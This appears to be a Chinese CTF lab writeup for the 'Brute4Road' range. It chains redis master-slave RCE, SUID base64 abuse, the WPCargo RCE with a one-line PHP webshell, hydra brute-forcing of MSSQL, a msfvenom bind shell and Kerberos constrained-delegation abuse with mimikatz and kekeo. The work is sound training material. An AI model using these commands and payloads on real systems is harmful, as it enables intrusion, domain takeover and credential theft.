春秋云镜 Brute4Road Writeup

---

外网入口

扫描端口发现开放了6379，探测发现是未授权 redis

redis 版本符合，直接打主从复制RCE：https://github.com/Ridter/redis-rce

python redis-rce.py -r x.x.x.x -L x.x.x.x -f exp.so

SUID提权

find / -perm -u=s -type f 2>/dev/null

/usr/bin/base64有 suid 权限，利用base64读取到 flag01

内网横向

wget远程下载frp和fscan工具，构建代理通道，内网信息收集

start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.34     is alive
(icmp) Target 172.22.2.16     is alive
(icmp) Target 172.22.2.18     is alive
[*] Icmp alive hosts len is: 5
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.3:88 open
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.18:445 open
172.22.2.16:445 open
172.22.2.34:445 open
172.22.2.3:445 open
172.22.2.16:139 open
172.22.2.34:139 open
172.22.2.18:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.18:80 open
172.22.2.16:80 open
172.22.2.7:80 open
172.22.2.18:22 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo 
[*]172.22.2.34[->]CLIENT01[->]172.22.2.34
[*] NetInfo 
[*]172.22.2.3[->]DC[->]172.22.2.3
[*] NetInfo 
[*]172.22.2.16[->]MSSQLSERVER[->]172.22.2.16
[*] WebTitle http://172.22.2.16        code:404 len:315    title:Not Found
[*] OsInfo 172.22.2.3   (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.34     XIAORANG\CLIENT01             
[*] WebTitle http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02        
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.2.16  (Windows Server 2016 Datacenter 14393)
[+] ftp 172.22.2.7:21:anonymous [->]pub
[*] WebTitle http://172.22.2.18        code:200 len:57738  title:WordPress20/20
[*] ,: 12.821885828s

内网探测到一个WordPress

信息收集发现存在插件 WPCargo V 6.5.9

搜索漏洞发现：WPCargo < 6.9.0 - Unauthenticated RCE：https://github.com/biulove0x/CVE-2021-25003

python .\WpCargo.py -t http://172.22.2.18/
# 上传的webshell为：<?=$_GET[1]($_POST[2]);?>

上传个蚁剑webshell 连接

/var/www/html/wp-config.php找到数据库账号密码，传个adminer.php上去，本地登录数据库，找到 flag02

Fscan 扫描结果显示内网有个 MSSQLSERVER( 172.22.2.16 )，且开启1433端口，根据这里数据库的表的提示，把这些密码用作字典爆破 MSSQLSERVER

.\hydra.exe -l sa -P mssqlserver_pass.txt mssql://172.22.2.16

获取到账号密码之后，直接 MDUT 连接执行命令

先上线 MSF，该机器不出网，上正向

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=172.22.2.16 lport=777 -f exe -o shell_x64.exe

MDUT 先激活 Ole Automation Procedures 组件，然后上传shell_x64.exe，上线 MSF 之后直接 getsystem 提权

获得 flag03

约束委派

SharpHound 收集域内信息

MSSQLSERVER 被配置了 约束委派

查询约束委派主机

AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

使用 mimikatz 导出 MSSQLSERVER 票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

kekeo.exe 申请服务票据

kekeo.exe "tgs::s4u /tgt:[0;3e4]-2-1-40e10000-MSSQLSERVER$@krbtgt-XIAORANG.LAB.kirbi /user:Administrator@XIAORANG.LAB /service:cifs/DC.XIAORANG.LAB" "exit"

导入票据：

mimikatz.exe "kerberos::ptt TGS_Administrator@XIAORANG.LAB@XIAORANG.LAB_cifs~DC.XIAORANG.LAB@XIAORANG.LAB.kirbi" "exit"